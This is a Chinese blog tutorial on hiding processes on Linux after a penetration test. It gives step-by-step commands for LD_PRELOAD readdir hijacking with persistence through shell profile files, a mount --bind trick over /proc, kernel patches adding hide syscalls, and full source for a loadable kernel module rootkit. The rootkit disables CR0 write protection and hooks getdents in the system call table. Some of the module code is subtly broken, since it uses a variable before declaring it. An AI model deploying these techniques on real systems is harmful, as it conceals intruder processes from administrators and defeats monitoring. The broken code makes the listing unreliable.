网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解


文章目录

  • (渗透测试后期)Linux进程隐藏详解
    • 前言
    • Linux进程基础
    • Linux进程侦查手段
    • Linux进程隐藏手段
      • 一、基于用户态的进程隐藏
        • 方法1:小隐隐于/proc/pid——劫持readdir系统调用
          • 额外:加载至arm
        • 方法2:小隐隐于/proc/pid——mount 挂载
      • 二、基于内核态的进程隐藏
        • 方法3:大隐隐于内核——修改内核源码+系统调用
        • 方法4:大隐隐于内核——修改内核源码proc_pid_lookup
        • 方法5:大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏
    • 总结

(渗透测试后期)Linux进程隐藏详解 前言 写博客最好还是贴近实际,先用实践技术去引导,在过程中记录笔记,最后整理成博客。所谓水到渠成也。
如果脱离实际牵引,以想法驱动,最终也会性质缺缺,博客质量不够。
Linux进程基础 进程是执行程序的过程,类似于按照图纸,真正去盖房子的过程。
同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的地址。
进程信息是proc目录下动态生成,每个动态创建的进程ID号下面详细的记录了关于该进程的fd,mem,io,cpuset等进程信息。
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。
**通过它可以访问系统内核数据。**用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。
由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统动态的。在/proc下还有三个很重要的目录:net,scsi和sys。sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。
除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。
读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
Linux进程侦查手段
  • 通过ps命令查看
ps命令:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

ps显示进程原理
strace命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。因此对于调试程序出错是非常有用的。这里不过多展示strace的调试用法,具体可以查看详细的strace命令。
我们看下ps是如何显示进程信息的:
strace ps
通过strace命令可以看出 ps查看进程的信息都是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。
  • 通过top命令查看
top命令:
top显示进程原理
我们看下top是如何显示进程信息的:
strace top
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

通过strace命令可以看出top等查看进程的信息也是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。
  • 通过ls命令查看
既然进程信息会在/proc目录下显示,那么我们通过 ls /proc/ 也可以实现进程查看
ls /proc/pid/stat
Linux进程隐藏手段 Linux 下进程隐藏手法大体上分为两种,一种是基于用户态隐藏;一种是直接操控内核进行隐藏。
一、基于用户态的进程隐藏
修改内核代码比较难,在用户态可以选择通过劫持系统调用来隐藏进程
方法1:小隐隐于/proc/pid——劫持readdir系统调用 劫持readdir函数,主要是让程序运行假的readdir函数。同时就像DLL文件在windows上,so文件也是Linux的函数库,readdir函数就在其中。
LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib
指定LD_PRELOAD文件的库就能成功。
只需:
  1. 编译出假的.so文件,包含假的readdir函数
  2. 让ps、top等程序通过LD_PRELOAD加载我们的.so文件。
操作一波:
同性交友网站github上有现成的文件,我们就不重复造轮子了:
git clone https://github.com/gianlucaborello/libprocesshider.git cd libprocesshider/ ( 修改 processhider.c 中 process_to_filter test为你的进程名字 )

网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

make cp libprocesshider.so /home/root2/Desktop/tools/hide_proc export LD_PRELOAD=/home/root2/Desktop/tools/hide_proc/libprocesshider.so

查看结果:
这是劫持readdir系统调用之前:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

这是劫持readdir系统调用之后:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

注:劫持函数只在一个终端有效,在新终端使用ps命令不会被劫持
注2:程序名称为本身文件名称,没有python 、/bin/sh 、./、上级路径
那么我们将动态库所在目录的绝对路径设置到~/.bashrc或/etc/profile中即可永久生效
用户级别:追加库路径到~/.bashrc文件尾
系统级别:追加库路径到/etc/profile文件尾
export LD_PRELOAD=xxxxx source ~/.bashrc #新启终端自动加载 source /etc/profile #重启系统自动加载

额外:加载至arm 因为该方法编译出的文件只能用于amd64架构,不能应用于arm\mips等架构,那我们如何解决?
答:搭建交叉编译环境,编译出针对arm架构的so库文件——交叉编译用户态文件,不是交叉编译内核模块,所以简单的一匹。
步骤:
  • 1.搭建arm-linux-gcc交叉编译环境
  • 2.利用交叉编译环境编译出.so库
  • 3.移植到arm平台重复方法1步骤
方法2:小隐隐于/proc/pid——mount 挂载 利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。
例如隐藏进程id为1的进程信息:
mount -o bind /empty/dir /proc/1

缺点
cat /proc/pid/mountinfo 或者cat /proc/mounts 即可知道是否有挂载至/proc下的进程(不过一般没人闲着去看)
二、基于内核态的进程隐藏
编写一个rootkit(内核加载模块LKM),作为内核的一部分直接以 ring0 权限向入侵者提供服务。
LKM 编程在一定意义上便是内核编程,与内核版本密切相关,只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的 kernel 上
所以基于内核态的进程隐藏难度较大,不过隐藏程度最深
方法3:大隐隐于内核——修改内核源码+系统调用 【网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解】该方法便捷性较强
以Linux2.6.28内核为例(高版本例如5.11源码不同,不改这个函数,但思路一样)
思路:
  • 修改内核源码,进程控制块task_struts增加字段:int hide; 为1时隐藏,为0时不隐藏
  • 修改创建进程的相关代码,进程创建时,置hide为0
  • 增加系统调用hide() :将进程控制块中的hide置1;删除/proc中该进程目录
修改fs/proc/base.c文件
int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)//内核源码,修改前 { unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY; struct task_struct *reaper = get_proc_task(filp->f_path.dentry->d_inode); struct tgid_iter iter; struct pid_namespace *ns; if (!reaper) goto out_no_task; for (; nr < ARRAY_SIZE(proc_base_stuff); filp->f_pos++, nr++) { //这个for,填充self目录 const struct pid_entry *p = &proc_base_stuff[nr]; if (proc_base_fill_cache(filp, dirent, filldir, reaper, p) < 0) goto out; }ns = filp->f_dentry->d_sb->s_fs_info; iter.task = NULL; iter.tgid = filp->f_pos - TGID_OFFSET; for (iter = next_tgid(ns, iter); iter.task; iter.tgid += 1, iter = next_tgid(ns, iter)) {//这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数 filp->f_pos = iter.tgid + TGID_OFFSET; if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) { put_task_struct(iter.task); goto out; } } filp->f_pos = PID_MAX_LIMIT + TGID_OFFSET; out: put_task_struct(reaper); out_no_task: return 0; }

将proc_pid_readdir函数中的for循环修改为
for (iter = next_tgid(ns, iter); iter.task; iter.tgid += 1, iter = next_tgid(ns, iter)) { //这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数 if(!iter.task->hide) { filp->f_pos = iter.tgid + TGID_OFFSET; if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) { put_task_struct(iter.task); goto out; } } } }

修改include/linux/sched.h文件
struct task_struct{undefined ...//现有字段 int hide; //添加hide字段,切忌不要在最开始添加,因为开始的字段的偏移量已固定,内核中其他部分已直接引用,如果在最开始添加,将导致现有代码不能正常工作 }

修改kernel/fork.c文件
p = dup_task_struct(current); if (!p) goto fork_out; p->hide=0; //添加 rt_mutex_init_task(p);

修改kernel/sys.c
//添加系统调用 asmlinkage long sys_hide() { current->hide=1; return 0; } asmlinkage long sys_unhide() { current->hide=0; return 0; }

修改arch/x86/asm/include/unistd_32.h
#define __NR_inotify_init1 332 #define __NR_hide 333 #define __NR_unhide 334#ifdef __KERNEL__

修改arch/x86/kernel/syscall_table_32.s
long sys_dup3/* 330 */ long sys_pipe2 long sys_inotify_init1 long sys_hide long sys_unhide

重新编译内核…
生成文件:test_hide.c
#include int main(){ int pid=getpid(); char command[80]; sprintf(command,"ps aux|grep %d\n",pid); asm volatile(\ "int $0x80"\ ::"a"(333)\ ); // 执行333号系统调用即sys_hide printf("--------------------\n"); system(command); printf("--------------------\n"); asm volatile(\ "int $0x80"\ ::"a"(334)\ ); return 0; }

只有grep命令,原程序成功隐藏
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

注:在Linux5.11等高内核版本上也是相同的思路,找对应的内核代码,修改再编译就好了。难点在哪呢,相比于2.6内核,网上资料少很多,要自己一个个去翻看函数,比较繁琐,作者暂也没找到好函数= =…
(佩服各个内核师傅们)
方法4:大隐隐于内核——修改内核源码proc_pid_lookup 既然进程信息是proc目录下动态生成的,因此会有一系列的函数进行操作,只要其中一个函数挂掉了,这/proc下的目录就不会生成。
通过查找代码,定位到内核通过fs/proc/base.c中的proc_pid_lookup函数。
由proc_pid_instantiate来在proc下创建该进程号相关的进程信息。(不同内核版本函数不同)
因此我们只需要在proc_pid_lookup中匹配要过滤的进程pid,然后直接返回就行了,如下:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

注:内核版本(5.11)不同切要修改细节。
重新编译内核…修改下检查程序
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

只有grep命令,原程序成功隐藏
总结:
只要找到产生/proc/pid的函数链中一个函数,进行修改并重新编译,即可隐藏进程。 内核难在资料少与函数多,思路是不难的。
方法5:大隐隐于内核——编写驱动/内核模块——LKM实现进程隐藏 原理:
内核模块是一些可以让操作系统内核在需要时载入和执行的代码,这同样意味着它可以在不需要时由操作系统卸载。卸载。
目标是隐藏ps、top等命令中进程,修改ps命令的一系列函数中一个即可。
strace ps aux
一个个函数排查,发现读取/proc目录的函数为getdents,对应的系统调用为
int sys_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)

fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。
代替原先的系统调用,使用自己定义的系统调用hacked_getdents(),加上我们自己的判断语句就能实现对进程文件的过滤。
**系统调用表(sys_call_table)**管理着系统调用,获得系统调用表的地址,就可以替换系统调用函数。找到sys_getdents()的入口地址,并用hacked_getdents()的地址进行替换即可。
Linux从2.4.18内核以后就不再导出系统调用表,因此要修改系统调用,必须从软件上获取系统调用表的地址。由于不同CPU架构的系统获取系统调用表的方式不一样,这里以我自己的系统(x86_64)为例,系统调用表地址获取流程如下:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

由于内核的页标记为只读,尝试用函数去写这个区域的内存,会产生一个内核oops。这种保护可以很简单的被规避,可通过设置cr0寄存器的WP位为0,禁止写保护CPU。
b)Linux x86_64有两套调用模式:Long模式和兼容模式,分别对应有两套调用表:sys_call_table,ia32_sys_call_table。实验中采用Long模式的系统调用表。
流程:
  • 1.获取系统调用表:grep sys_call_table /boot/System.map
  • 2.sys_getdents()的入口地址保存在数组sys_call_table以__NR_getdents为偏移的位置上。替换过程如下:
    /* 保存原始系统调用 */ orig_getdents = sys_call_table[__NR_getdents]; /* 替换原始系统调用 */ sys_call_table[__NR_getdents] = hacked_getdents;

    恢复系统调用的代码如下:
    /* 恢复原始系统调用 */ sys_call_table[__NR_getdents] = orig_getdents ;

  • 3.生成内核模块:make 加载内核模块 :insmod
代码:hook.c
#include #include #include #include #include #include #include #include #include #include #include #include MODULE_LICENSE("GPL"); MODULE_AUTHOR("CHS"); #define DEBUG#define hide_proc "hide_proc"unsigned long *sys_call_table = NULL; asmlinkage long (*orig_getdents)(unsigned int, struct linux_dirent64 __user *, unsigned int); /* 将字符串转换为整数,失败返回-1,成功返回大于-1的整数 */ int my_atoi(char * name) { char *ptr; int tmp, pid = 0; int mul = 1; for (ptr = name + strlen(name) - 1; ptr >= name ; ptr--) { tmp = *ptr - '0'; if (tmp < 0 || tmp > 9) { pid = -1; break; } pid += tmp * mul; mul *= 10; } #ifdef DEBUG2 printk(KERN_ALERT"name:%s,pid:%d", name, pid); #endif return pid; } /* 用户修改的系统调用*/ asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count) { long res; int pid; unsigned short len = 0; unsigned short tlen = 0; struct kstat fbuf; vfs_fstat(fd, &fbuf); res = (*orig_getdents)(fd, dirp, count); if (!res) return res; if (res == -1) return res; if (fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3) { #ifdef DEBUG2 printk(KERN_ALERT"proc file\n"); #endif tlen = res; while (tlen>0) { len = dirp->d_reclen; #ifdef DEBUG2 printk(KERN_ALERT"%s\n",(dirp->d_name-1)); #endif pid = my_atoi(dirp->d_name-1); //-1 is neccessary tlen -= len; if (strcmp(task->comm, hide_proc) == 0) { #ifdef DEBUG struct task_struct *task = pid_task(find_vpid(pid), PIDTYPE_PID); printk(KERN_ALERT"Find process:%s,pid:%d\n", task->comm, pid); #endif memmove(dirp, (char *)dirp + dirp->d_reclen, tlen); res -= len; } if (tlen) dirp = (struct linux_dirent64 *)((char *)dirp + dirp->d_reclen); } } return res; } /* 搜索字符串*/ static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len) { const char *begin; const char *const last_possible = (const char *)haystack + haystack_len - needle_len; if (needle_len == 0) { return (void *)haystack; } if (__builtin_expect(haystack_len < needle_len, 0)) { return NULL; } for (begin = (const char *)haystack; begin <= last_possible; ++begin) { if (begin[0] == ((const char *)needle)[0] && !memcmp((const void *)&begin[1], (const void *)((const char *)needle + 1),needle_len - 1)) { return (void *)begin; } } return NULL; } /* 获取系统调用表地址*/ unsigned long* get_syscall_table_long(void) { char **p; /* Entry of syscall function */ unsigned long sct_off = 0; unsigned char code[512]; /* Obtain address of system_call */ rdmsrl(MSR_LSTAR, sct_off); /* Read-in the code of system_call */ memcpy(code, (void *)sct_off, sizeof(code)); /* Search for pattern \xff\x14\xc5 */ p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3); if (p) //find { unsigned long *sct = *(unsigned long **)((char *)p + 3); //Stupid compiler doesn't want to do bitwise math on pointers sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000); return sct; } else return NULL; } /* 屏蔽写保护 */ inline unsigned long disable_wp(void) { unsigned long cr0; preempt_disable(); //diable preempt barrier(); cr0 = read_cr0(); write_cr0(cr0 & ~X86_CR0_WP); return cr0; } /* 恢复写保护*/ inline void restore_wp(unsigned long cr0) { write_cr0(cr0); barrier(); preempt_enable_no_resched(); } /* 劫持系统调用模块初始化函数*/ static int __init hook_init(void) { unsigned long orig_cr0 = disable_wp(); //关闭写保护 sys_call_table = get_syscall_table_long(); //获得系统调用表地址 if (sys_call_table == 0) { printk(KERN_ALERT"sys_call_table is NULL!\n"); return -1; } #ifdef DEBUG printk(KERN_ALERT"Find system call table address:%p\n", sys_call_table); #endif /* 保存原始系统调用 */ orig_getdents = sys_call_table[__NR_getdents]; /* 替换原始系统调用*/ sys_call_table[__NR_getdents] = hacked_getdents; #ifdef DEBUG2 orig_unhide = sys_call_table[__NR_unhide]; sys_call_table[__NR_unhide] = hacked_unhide; #endif restore_wp(orig_cr0); //恢复写保护 return 0; } /* 劫持系统调用模块清理函数*/ static void __exit hook_exit(void) { unsigned long orig_cr0 = disable_wp(); /* 恢复系统调用*/ sys_call_table[__NR_getdents] = orig_getdents; #ifdef DEBUG2 sys_call_table[__NR_unhide] = orig_unhide; #endif restore_wp(orig_cr0); return; } module_init(hook_init); module_exit(hook_exit);

Makefile:
obj-m+=hook.o all: make -C /usr/modules/$(shell uname -r)/build/ M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean

Makefile另写法(网上资料):
obj-m+=hook.o all: make -C /usr/src/linux-(内核版本) SUBDIRS=$PWD modules

insmod hook.ko挂载模块,rmmod hook卸载模块
结果:
网络实战对抗——Linux系统|(渗透测试后期)Linux进程隐藏详解
文章图片

总结 Linux一切皆文件,进程隐藏的本质还是文件隐藏

    推荐阅读